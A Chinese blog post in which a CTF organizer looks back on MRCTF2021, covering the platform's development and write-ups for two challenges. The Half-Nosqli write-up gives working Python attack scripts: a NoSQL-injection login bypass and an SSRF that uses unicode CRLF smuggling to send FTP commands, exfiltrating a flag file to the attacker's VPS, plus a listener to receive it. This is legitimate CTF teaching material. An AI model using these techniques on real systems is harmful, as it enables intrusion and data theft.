MRCTF2021 后记


关于比赛

应该是去年MRCTF2020比赛结束的时候,MRCTF2021就开始策划了。因为会有校内的TSCTF-J2021作为招新赛,我们预计把题出难一些。

QQ图片20210413124758

image-20210413132144836

image-20210413132210651

image-20210413132345148

不过这次还是有好多巨佬把一套方向题AK了👍

关于开发

这个新平台开发要追溯到我的上个学期的课程作业的之前的暑假。2020.6.18新建了文件夹。也就是博客里写的那几篇开发日志。最初的技术栈是vue+flask然后很快换到了vue+gin,此后开发了三个月,苦于gin的很多基础功能都得自己实现,开发进度一直非常缓慢,后来接触到DRF快速上手写CURD和鉴权,虽然python的效率可能没有golang高,但是开发效率上来了🚀。

平台以Mozilla Public License 2.0协议进行开源,开源地址在https://github.com/EkiXu/CTFm。欢迎各位师父fork&&PR

目前基本实现了比赛所需要功能,从这次比赛上来看,总体还是能平稳运行的🎈。其中平台还实现了一个简单的websocket接口供前三血播报使用,也是给bot进行了对接。说到bot,感觉花在java开发的时间大部分都在配依赖配环境🌚。这个bot我也在Github上建了一个仓库https://github.com/EkiXu/Luo,关于CTFm平台的对接部分还没有commit,因为现在写的太多硬编码和bug了,就先不发出来了👻。

关于出题

这次出了两个题,一个是Real Checkin 一个是Half-Nosqli

Real Checkin现在看来确实有点小问题,第二步根据零宽字符隐写提示在AES的解密时没有提示的很清楚忘记补写Hex了,最后放了

Key key = new SecretKeySpec(Hex.decodeHex(███),"███");

提示就有好多选手出了,不过之前也可以硬fuzz出(也就几种情况)。。

预期解的话是复制整段消息发现有零宽字符

然后尝试用各种零宽字符攻击解密,本来出题时是有在线网站的,但是好像现在down了,似乎莫名加了点难度,不过也可以直接本地搭依赖读

image-20210413140352689

Half-Nosqli这个题出的特别匆忙,几乎是最后一天出完(一半)的,这也是Half-Nosqli名字的来由,因此有些地方设计的还不是很精巧(好活就是烂了点)

首先是swagger的常用路径./docs

然后就能看到所有的接口了

第一步是登录

这里使用nosqli的永真trick绕过

import requests as r
url = "http://node.mrctf.fun:23000/"

json = {
    "email":{
        "$ne":1
    },
    "password":{
        "$ne":1
    }
}

req = r.post(url+"login",json=json)

print(req.text)

token = req.json()['token']

拿到token后,下一步是利用homeapi打ssrf

首先可以打到自己vps上看看效果

headers = {
    "Accept":"*/*",
    "Authorization":"Bearer "+token,
}

url_payload = "http://buptmerak.cn:2333"


json = {
    "url":url_payload
}

req = r.post(url+"home",headers=headers,json=json)

print(req.text)

发现发送了HTTP的请求包

https://infosecwriteups.com/nodejs-ssrf-by-response-splitting-asis-ctf-finals-2018-proxy-proxy-question-walkthrough-9a2424923501

这篇文章里讲了一个node下存在的CRLF注入方法,即利用unicode截断构造\r\n 同样的,我们也可以利用其它unicode构造1空格等特殊字符,所以我们可以伪造一个ftp协议的请求

headers = {
    "Accept":"*/*",
    "Authorization":"Bearer "+token,
}

url_payload = "http://buptmerak.cn:2333/"

payload ='''
USER anonymous
PASS admin888
CWD files
TYPE I
PORT vpsip,0,1890
RETR flag
'''.replace("\n","\r\n")



def payload_encode(raw):
    ret = u""
    for i in raw:
        ret += chr(0xff00+ord(i))
    return ret
#url_payload = url_payload + payload.replace("\n","\uff0d\uff0a")

#url_payload = url_payload + payload.replace(" ","\uff20").replace("\n","\uff0d\uff0a")

url_payload = url_payload + payload_encode(payload)

print(url_payload)

json = {
    "url":url_payload
}

req = r.post(url+"home",headers=headers,json=json)

print(req.text)

这里事实上就是最终的payload,在不知道账号密码的情况下使用匿名模式登录,USER为anonymous密码随意

切换到files文件夹后打开主动传输模式,使用PORTRETR向vps发送flag

发送请求,这里根据docker-compose.yml给出的内容知道ftp的hostname为ftp

这里有个点就是nodehttp只支持http协议,如果你去打ftp://是会解析失败的,监听自己的端口也可以发现这一点。但是我们可以用http://构造一个ftptcp包,原理是一样的。

headers = {
    "Accept":"*/*",
    "Authorization":"Bearer "+token,
}

url_payload = "http://ftp:8899/"

payload ='''
USER anonymous
PASS admin888
CWD files
TYPE I
PORT vpsip,0,1890
RETR flag
'''.replace("\n","\r\n")



def payload_encode(raw):
    ret = u""
    for i in raw:
        ret += chr(0xff00+ord(i))
    return ret
#url_payload = url_payload + payload.replace("\n","\uff0d\uff0a")

#url_payload = url_payload + payload.replace(" ","\uff20").replace("\n","\uff0d\uff0a")

url_payload = url_payload + payload_encode(payload)

print(url_payload)

json = {
    "url":url_payload
}

req = r.post(url+"home",headers=headers,json=json)

print(req.text)

监听ftp发来的数据

import socket

HOST = '0.0.0.0'
PORT =  1890
blocksize = 4096
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind((HOST, PORT))
    s.listen()
    conn, addr = s.accept()
    with conn:
        while 1:
            data = conn.recv(blocksize)
            print(data)
            if not data:
                break
    print('end.')

拿到flag

关于运维

运维方面相比去年来说事故少了一些,不过因为有些题对资源需求比较大,还是出现了一些卡顿交互慢的现象🙈。希望明年咱们队能多恰点奖金💴,明年的MRCTF给大家更多的节点📠提供更好的体验。

最后

放张统计图纪念下MRCTF2021

image-20210413145852720

image-20210413140828539

欢迎各位师傅MRCTF2022再来玩!🎉

声明:Eki's Blog|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - MRCTF2021 后记


A Dreamer Full of Dream